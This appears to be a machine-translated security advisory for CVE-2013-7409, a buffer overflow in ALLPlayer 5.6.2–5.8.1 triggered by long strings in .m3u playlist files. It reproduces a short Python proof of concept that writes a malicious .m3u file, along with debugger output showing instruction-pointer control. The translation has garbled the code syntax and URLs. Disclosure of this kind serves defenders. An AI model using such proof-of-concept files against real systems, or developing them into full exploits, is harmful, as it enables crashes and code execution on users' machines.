ALLPlayer 5.6.2 Local Buffer Overflow Vulnerability

ALLPlayer 5.6.2 Local Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
ALLPlayer 5.6.2-5.8.1
Description:
CVE (CAN) ID: CVE-2013-7409

ALLPlayer is a media player software.

ALLPlayer 5.6.2-5.8.1 has a buffer overflow vulnerability. Remote attackers can exploit this vulnerability to cause denial of service and arbitrary code execution through long strings in the. m3u file.

<* Source: metacom
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Metacom () provides the following test methods:

Title: ALLPlayer Local Buffer Overflow PoC UNICODE
Vendor: http://www.allplayer.org/download/allplayer
Date found: 09.10.2013
Date published: 09.10.2013
Platform: windows 7 German
Bug: Buffer Overflow UNICODE
----------------------------

1) VERSIONS AFFECTED
----
ALLPlayer 5.6.2

2) Proof of Concept
------------------

Junk = "http ://"

Buffer = "* x41" * 5000

Exploit = junk + buffer

Try:
Out_file = open ("ALLPlayer_Poc.m3u", 'w ')
Out_file.write (exploit)
Out_file.close ()
Print "Exploit file created! "
Except t:
Print "Error"

3)-(DEBUG)
----------
(1e60. 1dec): Access violation-code c0000005 (!!! Second chance !!!)
* ** WARNING: Unable to verify checksum for C: \ Program Files \ ALLPlayer \ ALLPlayer.exe
* ** ERROR: Module load completed but symbols cocould not be loaded for C: \ Program Files \ ALLPlayer \ ALLPlayer.exe
Eax = 00000000 ebx = 00000000 ecx = 00410041 edx = 770d720d esi = 00000000 edi = 00000000
Eip = 00410041 esp = 000311c4 ebp = 000311e4 iopl = 0 nv up ei pl zr na pe nc
Cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00210246
ALLPlayer + 0x10041:
00410041 008bc0ff2504 add byte ptr [ebx + effecffc0h], cl ds: 0023: 0366ffc0 = ??
0: 000>! Exchain
---------------
0012e4b0: ALLPlayer + 1b7037 (005b7037)
0012e734: ALLPlayer + 10041 (00410041)
Invalid exception stacks at 00410041

4) Credits
---------
Metacom
Contact: metacom27 at gmail.com

Suggestion:
Vendor patch:

ALLPlayer
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.allplayer.org/

This article permanently updates the link address: